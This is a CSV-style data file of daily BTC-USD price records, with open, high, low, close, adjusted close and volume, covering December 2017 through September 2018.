+2017-12-24,14396.6298828125,14413.7197265625,12166.4501953125,13789.9501953125,13789.9501953125,2428437693,BTC-USD +2017-12-25,13789.9501953125,14467.4296875,13010.7099609375,13833.490234375,13833.490234375,1487888106,BTC-USD +2017-12-26,13830.1904296875,16094.669921875,13748.490234375,15756.5595703125,15756.5595703125,2198577125,BTC-USD +2017-12-27,15757.01953125,16514.58984375,14534.66015625,15416.6396484375,15416.6396484375,2162831128,BTC-USD +2017-12-28,15416.33984375,15505.509765625,13466.0703125,14398.7001953125,14398.7001953125,2425912717,BTC-USD +2017-12-29,14398.4501953125,15109.8095703125,13951.080078125,14392.5703125,14392.5703125,1733583750,BTC-USD +2017-12-30,14392.1396484375,14461.4599609375,11962.08984375,12531.51953125,12531.51953125,2387311023,BTC-USD +2017-12-31,12532.3798828125,14241.8203125,12359.4296875,13850.400390625,13850.400390625,1492142483,BTC-USD +2018-01-01,13850.490234375,13921.5302734375,12877.669921875,13444.8798828125,13444.8798828125,1057521524,BTC-USD +2018-01-02,13444.8798828125,15306.1298828125,12934.16015625,14754.1298828125,14754.1298828125,1956783037,BTC-USD +2018-01-03,14754.08984375,15435.009765625,14579.7099609375,15156.6201171875,15156.6201171875,1604206990,BTC-USD +2018-01-04,15156.490234375,15408.66015625,14244.669921875,15180.080078125,15180.080078125,1656714736,BTC-USD +2018-01-05,15180.080078125,17126.94921875,14832.3603515625,16954.779296875,16954.779296875,2283988962,BTC-USD +2018-01-06,16954.759765625,17252.849609375,16286.5703125,17172.30078125,17172.30078125,1412703790,BTC-USD +2018-01-07,17174.5,17184.810546875,15791.1298828125,16228.16015625,16228.16015625,1309532650,BTC-USD +2018-01-08,16228.259765625,16302.919921875,13902.3095703125,14976.169921875,14976.169921875,2166366561,BTC-USD +2018-01-09,14976.169921875,15390.2802734375,14221.5498046875,14468.5,14468.5,1486802326,BTC-USD +2018-01-10,14468.08984375,14919.490234375,13450.5400390625,14919.490234375,14919.490234375,2025083791,BTC-USD +2018-01-11,14920.3603515625,14979.9599609375,12825.9501953125,13308.0595703125,13308.0595703125,2373494121,BTC-USD +2018-01-12,13308.0595703125,14129.080078125,12851.91015625,13841.1904296875,13841.1904296875,1402292716,BTC-USD +2018-01-13,13841.1904296875,14595.0400390625,13830.2802734375,14243.1201171875,14243.1201171875,1021352776,BTC-USD +2018-01-14,14244.1201171875,14415.669921875,13031.91015625,13638.6298828125,13638.6298828125,1112590573,BTC-USD +2018-01-15,13638.6298828125,14355.8203125,13416.7099609375,13631.98046875,13631.98046875,1170462750,BTC-USD +2018-01-16,13634.599609375,13648.83984375,10032.6904296875,11282.490234375,11282.490234375,3842651741,BTC-USD +2018-01-17,11282.490234375,11736.2998046875,9205.3798828125,11162.7001953125,11162.7001953125,3666978316,BTC-USD +2018-01-18,11162.7001953125,12018.4296875,10642.330078125,11175.51953125,11175.51953125,2357251805,BTC-USD +2018-01-19,11175.51953125,11780.490234375,10867.1796875,11521.759765625,11521.759765625,1264875700,BTC-USD +2018-01-20,11521.8203125,13031.0400390625,11502.1103515625,12783.9404296875,12783.9404296875,1492721765,BTC-USD +2018-01-21,12783.5400390625,12787.349609375,11101.73046875,11549.9296875,11549.9296875,1552755289,BTC-USD +2018-01-22,11549.98046875,11913.740234375,10067.759765625,10814.51953125,10814.51953125,1811992345,BTC-USD +2018-01-23,10814.51953125,11388.51953125,9980.5,10858.23046875,10858.23046875,1710180828,BTC-USD +2018-01-24,10853.7802734375,11531.599609375,10506.5498046875,11429.01953125,11429.01953125,1286435482,BTC-USD +2018-01-25,11428.1103515625,11741.919921875,10930.33984375,11175.8701171875,11175.8701171875,1061064251,BTC-USD +2018-01-26,11175.8701171875,11656.5400390625,10346.8603515625,11104.2001953125,11104.2001953125,1560135332,BTC-USD +2018-01-27,11104.33984375,11638.6904296875,10879.2001953125,11459.7099609375,11459.7099609375,1031091633,BTC-USD +2018-01-28,11460.3896484375,12064.1904296875,11407.9404296875,11767.740234375,11767.740234375,1038153169,BTC-USD +2018-01-29,11767.740234375,11860.2900390625,11089.51953125,11233.9501953125,11233.9501953125,920836244,BTC-USD +2018-01-30,11234.3203125,11263.7001953125,9871.2099609375,10107.259765625,10107.259765625,1720894077,BTC-USD +2018-01-31,10107.400390625,10377.9599609375,9698.1298828125,10226.8603515625,10226.8603515625,1230902973,BTC-USD +2018-02-01,10226.8603515625,10280.83984375,8726.9501953125,9114.7197265625,9114.7197265625,1964308989,BTC-USD +2018-02-02,9114.73046875,9147.9296875,7786.2001953125,8870.8203125,8870.8203125,2768759876,BTC-USD +2018-02-03,8872.8701171875,9504.3701171875,8194.6796875,9251.26953125,9251.26953125,1253484523,BTC-USD +2018-02-04,9251.26953125,9400.990234375,7889.830078125,8218.0498046875,8218.0498046875,1413207410,BTC-USD +2018-02-05,8218.0498046875,8391.2900390625,6627.31005859375,6937.080078125,6937.080078125,2534149181,BTC-USD +2018-02-06,6936.43017578125,7932.3798828125,5968.35986328125,7701.25,7701.25,3397596513,BTC-USD +2018-02-07,7701.25,8572.6796875,7208.85986328125,7592.72021484375,7592.72021484375,2159765331,BTC-USD +2018-02-08,7593.77978515625,8643.9404296875,7590.47998046875,8260.6904296875,8260.6904296875,1594673973,BTC-USD +2018-02-09,8259.259765625,8743.2001953125,7775.35986328125,8696.830078125,8696.830078125,1348072086,BTC-USD +2018-02-10,8696.830078125,9081.490234375,8176.25,8569.2900390625,8569.2900390625,1348923336,BTC-USD +2018-02-11,8569.3203125,8573.349609375,7862.31005859375,8084.60986328125,8084.60986328125,1013771945,BTC-USD +2018-02-12,8084.60986328125,8997.33984375,8084.41015625,8911.26953125,8911.26953125,1085921871,BTC-USD +2018-02-13,8911.169921875,8955.150390625,8379.349609375,8544.6904296875,8544.6904296875,853320352,BTC-USD +2018-02-14,8544.6904296875,9508.2197265625,8542.98046875,9485.6396484375,9485.6396484375,1220863360,BTC-USD +2018-02-15,9485.6396484375,10223.580078125,9363.3798828125,10033.75,10033.75,1666668487,BTC-USD +2018-02-16,10033.75,10303.1396484375,9720.3798828125,10188.73046875,10188.73046875,1061827697,BTC-USD +2018-02-17,10188.73046875,11119.4501953125,10074.0703125,11097.2099609375,11097.2099609375,1327921168,BTC-USD +2018-02-18,11097.2099609375,11288.33984375,10161.009765625,10417.23046875,10417.23046875,1659704217,BTC-USD +2018-02-19,10418.1201171875,11265.9599609375,10336.3203125,11182.2802734375,11182.2802734375,1186535653,BTC-USD +2018-02-20,11182.2802734375,11802.23046875,11130.9501953125,11256.4296875,11256.4296875,1640343867,BTC-USD +2018-02-21,11256.7802734375,11295.580078125,10256.2099609375,10481.66015625,10481.66015625,1982721124,BTC-USD +2018-02-22,10481.66015625,10941.5703125,9757.1904296875,9847.9599609375,9847.9599609375,1795951829,BTC-USD +2018-02-23,9847.9599609375,10420.669921875,9604.0,10175.509765625,10175.509765625,1399448203,BTC-USD +2018-02-24,10175.509765625,10528.0,9396.5400390625,9705.73046875,9705.73046875,1244484468,BTC-USD +2018-02-25,9705.73046875,9873.7900390625,9329.4404296875,9610.1103515625,9610.1103515625,793093192,BTC-USD +2018-02-26,9610.1103515625,10457.509765625,9411.8203125,10326.5,10326.5,1181729273,BTC-USD +2018-02-27,10326.5,10879.3798828125,10154.240234375,10594.759765625,10594.759765625,1060840699,BTC-USD +2018-02-28,10594.759765625,11067.759765625,10303.1396484375,10334.4404296875,10334.4404296875,1126074675,BTC-USD +2018-03-01,10334.4404296875,11090.2998046875,10247.5595703125,10929.3701171875,10929.3701171875,952472120,BTC-USD +2018-03-02,10929.3701171875,11191.9404296875,10801.4501953125,11043.1201171875,11043.1201171875,852908489,BTC-USD +2018-03-03,11043.1201171875,11530.66015625,11043.1201171875,11465.3603515625,11465.3603515625,812200126,BTC-USD +2018-03-04,11465.3603515625,11539.7900390625,11084.009765625,11504.419921875,11504.419921875,690727335,BTC-USD +2018-03-05,11503.9404296875,11694.150390625,11431.5498046875,11440.73046875,11440.73046875,791471905,BTC-USD +2018-03-06,11440.330078125,11441.650390625,10589.2802734375,10735.4501953125,10735.4501953125,1210081181,BTC-USD +2018-03-07,10735.4501953125,10913.7001953125,9470.73046875,9928.5595703125,9928.5595703125,1858869115,BTC-USD +2018-03-08,9928.5595703125,10119.2099609375,9086.849609375,9316.7197265625,9316.7197265625,1492236089,BTC-USD +2018-03-09,9316.76953125,9433.3798828125,8393.4501953125,9252.759765625,9252.759765625,2081621422,BTC-USD +2018-03-10,9252.759765625,9518.6201171875,8727.4296875,8797.26953125,8797.26953125,1084925795,BTC-USD +2018-03-11,8797.26953125,9735.6396484375,8484.3203125,9544.83984375,9544.83984375,1374814644,BTC-USD +2018-03-12,9543.98046875,9907.41015625,8796.51953125,9142.150390625,9142.150390625,1435404200,BTC-USD +2018-03-13,9142.26953125,9486.1201171875,8856.650390625,9160.1201171875,9160.1201171875,1228556284,BTC-USD +2018-03-14,9160.1201171875,9360.66015625,7966.93994140625,8217.7001953125,8217.7001953125,1385572511,BTC-USD +2018-03-15,8216.2197265625,8432.1201171875,7698.47021484375,8268.41015625,8268.41015625,1519850464,BTC-USD +2018-03-16,8267.9501953125,8616.6298828125,7924.10986328125,8283.23046875,8283.23046875,1082790136,BTC-USD +2018-03-17,8283.23046875,8360.6396484375,7765.41015625,7883.4501953125,7883.4501953125,901939422,BTC-USD +2018-03-18,7882.669921875,8299.8603515625,7318.4599609375,8215.400390625,8215.400390625,1535519444,BTC-USD +2018-03-19,8215.5,8725.599609375,8129.66015625,8623.1396484375,8623.1396484375,1447812723,BTC-USD +2018-03-20,8623.1396484375,9056.23046875,8339.7998046875,8920.7099609375,8920.7099609375,1150462439,BTC-USD +2018-03-21,8920.5302734375,9184.509765625,8778.6904296875,8911.349609375,8911.349609375,991376396,BTC-USD +2018-03-22,8911.3701171875,9107.0,8500.8798828125,8724.98046875,8724.98046875,1023286566,BTC-USD +2018-03-23,8724.98046875,8935.8798828125,8307.580078125,8934.7998046875,8934.7998046875,939997284,BTC-USD +2018-03-24,8935.509765625,9036.23046875,8515.5302734375,8548.0595703125,8548.0595703125,827663165,BTC-USD +2018-03-25,8548.3896484375,8690.3603515625,8395.849609375,8472.83984375,8472.83984375,657643520,BTC-USD +2018-03-26,8472.5595703125,8521.0400390625,7869.27001953125,8152.2001953125,8152.2001953125,1079038734,BTC-USD +2018-03-27,8152.18017578125,8226.240234375,7752.2998046875,7808.47998046875,7808.47998046875,930754990,BTC-USD +2018-03-28,7808.419921875,8117.7900390625,7752.60009765625,7959.77978515625,7959.77978515625,657712114,BTC-USD +2018-03-29,7959.77978515625,7983.77001953125,6927.10986328125,7106.6201171875,7106.6201171875,1379180030,BTC-USD +2018-03-30,7106.6201171875,7280.27001953125,6595.259765625,6853.759765625,6853.759765625,1584675343,BTC-USD +2018-03-31,6853.75,7228.39990234375,6806.33984375,6943.77001953125,6943.77001953125,915400590,BTC-USD +2018-04-01,6943.77001953125,7056.22021484375,6463.5400390625,6835.83984375,6835.83984375,889887684,BTC-USD +2018-04-02,6835.580078125,8218.66015625,6792.2998046875,7074.60009765625,7074.60009765625,748861435,BTC-USD +2018-04-03,7074.64990234375,7528.97021484375,7039.8798828125,7434.2998046875,7434.2998046875,905326798,BTC-USD +2018-04-04,7434.2998046875,7442.419921875,6727.08984375,6815.5,6815.5,877199782,BTC-USD +2018-04-05,6815.5,6933.66015625,6602.3798828125,6790.4501953125,6790.4501953125,777145174,BTC-USD +2018-04-06,6790.4501953125,6869.52978515625,6526.669921875,6634.85986328125,6634.85986328125,605651287,BTC-USD +2018-04-07,6634.85986328125,7083.85009765625,6624.47021484375,6917.2001953125,6917.2001953125,564883141,BTC-USD +2018-04-08,6917.2001953125,7132.02978515625,6911.02001953125,7049.919921875,7049.919921875,425825572,BTC-USD +2018-04-09,7049.919921875,7204.27978515625,6633.68994140625,6789.52978515625,6789.52978515625,901883664,BTC-USD +2018-04-10,6789.52978515625,6922.83984375,6676.72021484375,6871.06982421875,6871.06982421875,424510977,BTC-USD +2018-04-11,6871.06982421875,6999.3701171875,6839.16015625,6977.1298828125,6977.1298828125,450141340,BTC-USD +2018-04-12,6977.0400390625,8051.9501953125,6791.330078125,7927.72998046875,7927.72998046875,1490759969,BTC-USD +2018-04-13,7927.72998046875,8237.16015625,7758.7998046875,7899.10986328125,7899.10986328125,1171435820,BTC-USD +2018-04-14,7898.740234375,8195.33984375,7841.18994140625,8022.509765625,8022.509765625,537286381,BTC-USD +2018-04-15,8022.509765625,8437.0302734375,8021.0400390625,8376.73046875,8376.73046875,570527804,BTC-USD +2018-04-16,8376.73046875,8430.9296875,7929.240234375,8079.77001953125,8079.77001953125,713471956,BTC-USD +2018-04-17,8079.77001953125,8187.60009765625,7858.1201171875,7921.6298828125,7921.6298828125,580880500,BTC-USD +2018-04-18,7921.64990234375,8246.5703125,7908.919921875,8189.9599609375,8189.9599609375,593500791,BTC-USD +2018-04-19,8189.919921875,8321.009765625,8136.419921875,8301.8203125,8301.8203125,602099034,BTC-USD +2018-04-20,8301.8203125,8945.1396484375,8243.490234375,8877.080078125,8877.080078125,979994921,BTC-USD +2018-04-21,8877.150390625,9047.8203125,8631.1796875,8935.7197265625,8935.7197265625,829073400,BTC-USD +2018-04-22,8935.849609375,9043.98046875,8788.4404296875,8823.3603515625,8823.3603515625,610183093,BTC-USD +2018-04-23,8823.4599609375,9025.73046875,8804.2001953125,8968.25,8968.25,553892335,BTC-USD +2018-04-24,8967.8603515625,9741.91015625,8957.6796875,9655.76953125,9655.76953125,1276464750,BTC-USD +2018-04-25,9657.6904296875,9765.23046875,8757.0595703125,8873.6201171875,8873.6201171875,1779806222,BTC-USD +2018-04-26,8873.5703125,9315.1298828125,8669.3798828125,9282.1201171875,9282.1201171875,997427934,BTC-USD +2018-04-27,9289.009765625,9385.8701171875,8923.48046875,8938.4697265625,8938.4697265625,758182407,BTC-USD +2018-04-28,8938.4697265625,9435.900390625,8892.51953125,9351.4697265625,9351.4697265625,774111704,BTC-USD +2018-04-29,9349.9404296875,9552.669921875,9189.0703125,9407.0400390625,9407.0400390625,640931911,BTC-USD +2018-04-30,9407.349609375,9459.8095703125,9133.599609375,9248.4501953125,9248.4501953125,574099218,BTC-USD +2018-05-01,9248.25,9251.66015625,8851.099609375,9077.2802734375,9077.2802734375,669555436,BTC-USD +2018-05-02,9077.2802734375,9271.6201171875,8993.8203125,9232.1904296875,9232.1904296875,527488395,BTC-USD +2018-05-03,9232.1904296875,9817.1904296875,9172.2802734375,9745.0400390625,9745.0400390625,857646889,BTC-USD +2018-05-04,9746.259765625,9785.150390625,9547.2099609375,9699.6103515625,9699.6103515625,663887678,BTC-USD +2018-05-05,9700.3701171875,9968.849609375,9687.08984375,9845.900390625,9845.900390625,679872376,BTC-USD +2018-05-06,9846.4404296875,9936.9599609375,9441.9296875,9644.919921875,9644.919921875,608650204,BTC-USD +2018-05-07,9643.990234375,9662.23046875,9202.1298828125,9377.8095703125,9377.8095703125,692580062,BTC-USD +2018-05-08,9377.080078125,9472.08984375,9063.0703125,9196.1298828125,9196.1298828125,673924125,BTC-USD +2018-05-09,9196.1298828125,9373.4599609375,8987.26953125,9321.16015625,9321.16015625,625495066,BTC-USD +2018-05-10,9321.51953125,9393.9501953125,9017.1298828125,9032.2197265625,9032.2197265625,629850604,BTC-USD +2018-05-11,9032.2197265625,9032.26953125,8363.5,8421.0,8421.0,1176888629,BTC-USD +2018-05-12,8420.8203125,8653.7998046875,8225.9697265625,8486.669921875,8486.669921875,783972252,BTC-USD +2018-05-13,8488.0703125,8773.9599609375,8350.91015625,8709.4599609375,8709.4599609375,525395861,BTC-USD +2018-05-14,8709.4599609375,8883.0,8312.7197265625,8672.900390625,8672.900390625,874543293,BTC-USD +2018-05-15,8672.8798828125,8848.6904296875,8441.25,8480.16015625,8480.16015625,730739738,BTC-USD +2018-05-16,8480.16015625,8501.650390625,8119.169921875,8344.7802734375,8344.7802734375,789660713,BTC-USD +2018-05-17,8342.6904296875,8476.4501953125,8015.77001953125,8071.0400390625,8071.0400390625,615539512,BTC-USD +2018-05-18,8071.0400390625,8280.4501953125,7940.35009765625,8247.91015625,8247.91015625,558167598,BTC-USD +2018-05-19,8247.91015625,8397.26953125,8160.7998046875,8249.240234375,8249.240234375,381458405,BTC-USD +2018-05-20,8249.240234375,8591.4501953125,8181.4599609375,8533.0,8533.0,418898289,BTC-USD +2018-05-21,8533.2197265625,8585.849609375,8347.8798828125,8419.650390625,8419.650390625,463653636,BTC-USD +2018-05-22,8419.669921875,8428.599609375,7962.43017578125,7992.75,7992.75,543342369,BTC-USD +2018-05-23,7992.75,8031.6298828125,7460.66015625,7505.77001953125,7505.77001953125,934151146,BTC-USD +2018-05-24,7505.77001953125,7729.47998046875,7283.77001953125,7584.740234375,7584.740234375,826278113,BTC-USD +2018-05-25,7584.77978515625,7652.3701171875,7347.9599609375,7475.35986328125,7475.35986328125,634474356,BTC-USD +2018-05-26,7475.35986328125,7626.68994140625,7314.7099609375,7355.06005859375,7355.06005859375,368322782,BTC-USD +2018-05-27,7355.06005859375,7420.06982421875,7256.669921875,7362.22998046875,7362.22998046875,341348321,BTC-USD +2018-05-28,7362.22998046875,7455.5498046875,7092.91015625,7118.8798828125,7118.8798828125,526854342,BTC-USD +2018-05-29,7118.8798828125,7533.02978515625,7069.009765625,7474.75,7474.75,634849312,BTC-USD +2018-05-30,7474.75,7571.080078125,7295.77978515625,7393.02001953125,7393.02001953125,505870974,BTC-USD +2018-05-31,7393.02001953125,7608.8701171875,7349.52001953125,7502.14990234375,7502.14990234375,458223966,BTC-USD +2018-06-01,7501.740234375,7614.66015625,7370.27001953125,7530.5498046875,7530.5498046875,458687659,BTC-USD +2018-06-02,7530.5498046875,7697.33984375,7467.7900390625,7643.259765625,7643.259765625,362414878,BTC-USD +2018-06-03,7643.259765625,7774.9599609375,7606.759765625,7719.75,7719.75,332313005,BTC-USD +2018-06-04,7719.72998046875,7760.72998046875,7469.2099609375,7503.2001953125,7503.2001953125,427448262,BTC-USD +2018-06-05,7503.31982421875,7672.7001953125,7394.97021484375,7629.39990234375,7629.39990234375,440337235,BTC-USD +2018-06-06,7629.39990234375,7701.35009765625,7504.97998046875,7661.7900390625,7661.7900390625,396116252,BTC-USD +2018-06-07,7661.7900390625,7755.919921875,7651.1298828125,7700.10986328125,7700.10986328125,342475552,BTC-USD +2018-06-08,7700.39990234375,7709.60986328125,7559.5,7627.52001953125,7627.52001953125,310119047,BTC-USD +2018-06-09,7627.56005859375,7691.740234375,7495.72021484375,7513.68994140625,7513.68994140625,218013881,BTC-USD +2018-06-10,7513.759765625,7514.0400390625,6661.97998046875,6773.72021484375,6773.72021484375,895514425,BTC-USD +2018-06-11,6773.72021484375,6913.85009765625,6652.89013671875,6887.3701171875,6887.3701171875,482788065,BTC-USD +2018-06-12,6887.43017578125,6888.330078125,6462.60986328125,6556.93994140625,6556.93994140625,509372466,BTC-USD +2018-06-13,6556.93994140625,6623.0,6140.6298828125,6310.43017578125,6310.43017578125,797087281,BTC-USD +2018-06-14,6310.43017578125,6719.43994140625,6286.22998046875,6643.259765625,6643.259765625,620296377,BTC-USD +2018-06-15,6643.6298828125,6667.22998046875,6380.68994140625,6396.7099609375,6396.7099609375,379228601,BTC-USD +2018-06-16,6396.7099609375,6569.14990234375,6345.990234375,6503.10009765625,6503.10009765625,232802782,BTC-USD +2018-06-17,6503.10009765625,6585.77001953125,6446.3798828125,6457.77978515625,6457.77978515625,224575526,BTC-USD +2018-06-18,6457.77978515625,6802.02978515625,6401.41015625,6714.81982421875,6714.81982421875,430241689,BTC-USD +2018-06-19,6714.56005859375,6839.60009765625,6672.2001953125,6741.27978515625,6741.27978515625,370797057,BTC-USD +2018-06-20,6741.27978515625,6817.89990234375,6569.9599609375,6761.27001953125,6761.27001953125,400530201,BTC-USD +2018-06-21,6761.27001953125,6790.080078125,6687.66015625,6720.64013671875,6720.64013671875,295690715,BTC-USD +2018-06-22,6720.64013671875,6731.509765625,5941.31982421875,6051.47021484375,6051.47021484375,862826624,BTC-USD +2018-06-23,6051.47021484375,6257.8798828125,6033.2001953125,6166.5400390625,6166.5400390625,350697378,BTC-USD +2018-06-24,6166.35986328125,6254.02001953125,5782.1298828125,6157.77978515625,6157.77978515625,667479078,BTC-USD +2018-06-25,6157.77978515625,6344.4501953125,6095.25,6260.35009765625,6260.35009765625,492834172,BTC-USD +2018-06-26,6260.39990234375,6286.35986328125,6067.490234375,6088.39013671875,6088.39013671875,391396653,BTC-USD +2018-06-27,6092.259765625,6192.10986328125,6021.68994140625,6141.56982421875,6141.56982421875,383457137,BTC-USD +2018-06-28,6141.56982421875,6172.22998046875,5844.259765625,5871.27978515625,5871.27978515625,385907044,BTC-USD +2018-06-29,5870.81005859375,6286.669921875,5813.02001953125,6203.7998046875,6203.7998046875,554799001,BTC-USD +2018-06-30,6203.81005859375,6503.330078125,6194.509765625,6385.3798828125,6385.3798828125,419284677,BTC-USD +2018-07-01,6385.43017578125,6429.5,6262.72021484375,6339.0400390625,6339.0400390625,259708490,BTC-USD +2018-07-02,6342.68994140625,6673.7099609375,5537.85986328125,6615.66015625,6615.66015625,465915661,BTC-USD +2018-07-03,6616.60009765625,6670.2998046875,6473.47998046875,6509.580078125,6509.580078125,356390898,BTC-USD +2018-07-04,6508.43017578125,6777.97021484375,6411.1298828125,6590.06005859375,6590.06005859375,412202352,BTC-USD +2018-07-05,6589.77001953125,6691.31982421875,6448.22998046875,6534.81005859375,6534.81005859375,421189063,BTC-USD +2018-07-06,6534.81005859375,6633.43994140625,6458.14013671875,6602.02001953125,6602.02001953125,310759733,BTC-USD +2018-07-07,6602.02978515625,6814.419921875,6518.22998046875,6758.080078125,6758.080078125,277167900,BTC-USD +2018-07-08,6758.080078125,6782.85009765625,6684.14990234375,6707.3798828125,6707.3798828125,268455446,BTC-USD +2018-07-09,6707.4599609375,6803.10009765625,6625.580078125,6668.83984375,6668.83984375,328316145,BTC-USD +2018-07-10,6668.83984375,6683.60986328125,6277.22998046875,6306.85009765625,6306.85009765625,470432142,BTC-USD +2018-07-11,6306.8701171875,6405.58984375,6293.68017578125,6394.35986328125,6394.35986328125,327667754,BTC-USD +2018-07-12,6394.35986328125,6394.93017578125,6084.0,6253.60009765625,6253.60009765625,409078182,BTC-USD +2018-07-13,6253.66015625,6349.2099609375,6131.5400390625,6229.830078125,6229.830078125,319802271,BTC-USD +2018-07-14,6229.60986328125,6332.4599609375,6190.18017578125,6268.75,6268.75,174416786,BTC-USD +2018-07-15,6268.31982421875,6401.5,6245.75,6364.259765625,6364.259765625,218543291,BTC-USD +2018-07-16,6364.259765625,6761.83984375,6349.830078125,6740.5498046875,6740.5498046875,494264915,BTC-USD +2018-07-17,6740.5400390625,7476.240234375,6677.56005859375,7326.7001953125,7326.7001953125,799401451,BTC-USD +2018-07-18,7326.759765625,7590.64990234375,7253.7099609375,7383.39013671875,7383.39013671875,788460811,BTC-USD +2018-07-19,7383.39013671875,7563.7001953125,7289.89990234375,7477.5,7477.5,522544440,BTC-USD +2018-07-20,7477.10009765625,7676.5498046875,7279.33984375,7333.93017578125,7333.93017578125,603034414,BTC-USD +2018-07-21,7333.93017578125,7453.06982421875,7220.3701171875,7405.39990234375,7405.39990234375,297440355,BTC-USD +2018-07-22,7405.39990234375,7569.27978515625,7345.25,7398.64013671875,7398.64013671875,355565264,BTC-USD +2018-07-23,7398.64013671875,7798.58984375,7376.66015625,7718.0,7718.0,745533303,BTC-USD +2018-07-24,7718.0,8485.7099609375,7692.16015625,8395.8203125,8395.8203125,1166560702,BTC-USD +2018-07-25,8395.8095703125,8481.1103515625,8061.06982421875,8170.22998046875,8170.22998046875,736530740,BTC-USD +2018-07-26,8170.3701171875,8302.240234375,7862.669921875,7937.25,7937.25,643953970,BTC-USD +2018-07-27,7937.10009765625,8278.009765625,7806.25,8182.89013671875,8182.89013671875,646256012,BTC-USD +2018-07-28,8182.8798828125,8238.0400390625,8070.0400390625,8230.8701171875,8230.8701171875,295872316,BTC-USD +2018-07-29,8230.8203125,8291.5498046875,8123.52978515625,8216.7802734375,8216.7802734375,280233415,BTC-USD +2018-07-30,8216.7001953125,8273.6103515625,7867.43994140625,8176.06005859375,8176.06005859375,681120739,BTC-USD +2018-07-31,8176.080078125,8176.27001953125,7663.7001953125,7735.2998046875,7735.2998046875,765186307,BTC-USD +2018-08-01,7736.25,7760.740234375,7449.31005859375,7610.89990234375,7610.89990234375,595404848,BTC-USD +2018-08-02,7610.89990234375,7713.31982421875,7470.85986328125,7542.33984375,7542.33984375,424093581,BTC-USD +2018-08-03,7542.33984375,7542.490234375,7296.759765625,7417.60009765625,7417.60009765625,586982505,BTC-USD +2018-08-04,7417.60009765625,7490.89013671875,6940.14990234375,7017.89013671875,7017.89013671875,534002935,BTC-USD +2018-08-05,7017.89013671875,7092.52978515625,6898.31005859375,7042.39013671875,7042.39013671875,368914046,BTC-USD +2018-08-06,7042.56982421875,7160.39990234375,6854.7900390625,6945.77978515625,6945.77978515625,410408444,BTC-USD +2018-08-07,6945.77001953125,7150.85986328125,6685.02001953125,6723.2099609375,6723.2099609375,575690006,BTC-USD +2018-08-08,6723.2900390625,6723.990234375,6133.02978515625,6285.02001953125,6285.02001953125,838853615,BTC-USD +2018-08-09,6285.06005859375,6631.22998046875,6195.02001953125,6543.240234375,6543.240234375,575748446,BTC-USD +2018-08-10,6543.25,6582.14013671875,6025.91015625,6153.41015625,6153.41015625,639457019,BTC-USD +2018-08-11,6152.9501953125,6488.5498046875,6014.259765625,6242.5400390625,6242.5400390625,545722619,BTC-USD +2018-08-12,6242.52978515625,6483.39013671875,6176.89013671875,6322.919921875,6322.919921875,366460108,BTC-USD +2018-08-13,6322.41015625,6545.02001953125,6157.02978515625,6263.2001953125,6263.2001953125,452431672,BTC-USD +2018-08-14,6263.2001953125,6266.5,5891.8701171875,6199.60009765625,6199.60009765625,759847789,BTC-USD +2018-08-15,6199.6298828125,6620.06982421875,6193.6298828125,6274.22021484375,6274.22021484375,852103141,BTC-USD +2018-08-16,6274.22021484375,6478.06982421875,6217.330078125,6323.81005859375,6323.81005859375,454679037,BTC-USD +2018-08-17,6323.81005859375,6594.72021484375,6300.4501953125,6591.16015625,6591.16015625,477089455,BTC-USD +2018-08-18,6591.18017578125,6622.16015625,6322.43994140625,6405.7099609375,6405.7099609375,336744293,BTC-USD +2018-08-19,6405.740234375,6560.8798828125,6330.56005859375,6502.18017578125,6502.18017578125,253984821,BTC-USD +2018-08-20,6502.240234375,6537.5400390625,6248.39013671875,6269.89990234375,6269.89990234375,397981291,BTC-USD +2018-08-21,6270.08984375,6506.68994140625,6259.81005859375,6491.10986328125,6491.10986328125,396746063,BTC-USD +2018-08-22,6491.08984375,6890.7900390625,6264.33984375,6366.1298828125,6366.1298828125,764005011,BTC-USD +2018-08-23,6366.14013671875,6575.27978515625,6356.9599609375,6538.9501953125,6538.9501953125,340811486,BTC-USD +2018-08-24,6539.1298828125,6736.830078125,6481.759765625,6708.9599609375,6708.9599609375,382456858,BTC-USD +2018-08-25,6708.93994140625,6808.89013671875,6684.18994140625,6749.56005859375,6749.56005859375,258296664,BTC-USD +2018-08-26,6749.7099609375,6793.169921875,6588.47998046875,6720.60009765625,6720.60009765625,265820591,BTC-USD +2018-08-27,6720.60009765625,6944.2099609375,6674.83984375,6915.72998046875,6915.72998046875,405769271,BTC-USD +2018-08-28,6915.919921875,7136.7099609375,6877.2001953125,7091.3798828125,7091.3798828125,487789642,BTC-USD +2018-08-29,7091.3798828125,7137.47021484375,6944.759765625,7052.0,7052.0,356139022,BTC-USD +2018-08-30,7051.60986328125,7072.64013671875,6818.68994140625,6998.759765625,6998.759765625,425475685,BTC-USD +2018-08-31,6998.759765625,7096.72998046875,6903.080078125,7026.9599609375,7026.9599609375,349131152,BTC-USD +2018-09-01,7026.9599609375,7272.02978515625,7025.580078125,7203.4599609375,7203.4599609375,300301833,BTC-USD +2018-09-02,7203.4599609375,7384.3798828125,7144.7099609375,7301.259765625,7301.259765625,447453370,BTC-USD +2018-09-03,7301.25,7350.580078125,7204.89013671875,7270.0498046875,7270.0498046875,309327793,BTC-USD +2018-09-04,7270.0498046875,7417.64990234375,7246.759765625,7369.85986328125,7369.85986328125,343762001,BTC-USD +2018-09-05,7369.89013671875,7401.43017578125,6694.06005859375,6705.02978515625,6705.02978515625,797851163,BTC-USD +2018-09-06,6705.06005859375,6727.18994140625,6295.10986328125,6515.419921875,6515.419921875,823309044,BTC-USD +2018-09-07,6515.419921875,6549.39013671875,6345.47998046875,6411.77978515625,6411.77978515625,344487244,BTC-USD +2018-09-08,6413.1201171875,6480.56982421875,6134.759765625,6200.16015625,6200.16015625,317380272,BTC-USD +2018-09-09,6200.22998046875,6451.25,6161.830078125,6249.06982421875,6249.06982421875,244400344,BTC-USD +2018-09-10,6249.06982421875,6371.419921875,6247.64013671875,6324.43017578125,6324.43017578125,320435279,BTC-USD +2018-09-11,6324.43017578125,6415.509765625,6199.18994140625,6295.5400390625,6295.5400390625,324512939,BTC-USD +2018-09-12,6295.5400390625,6357.89013671875,6208.27978515625,6337.10986328125,6337.10986328125,332537236,BTC-USD +2018-09-13,6337.080078125,6534.89013671875,6337.080078125,6492.0,6492.0,425090869,BTC-USD +2018-09-14,6492.169921875,6591.58984375,6393.83984375,6486.009765625,6486.009765625,377989402,BTC-USD +2018-09-15,6485.39013671875,6573.18994140625,6473.47021484375,6522.080078125,6522.080078125,208349557,BTC-USD +2018-09-16,6522.68017578125,6525.0498046875,6404.31005859375,6502.43994140625,6502.43994140625,200545603,BTC-USD +2018-09-17,6502.43994140625,6538.81982421875,6216.830078125,6261.47998046875,6261.47998046875,399675966,BTC-USD 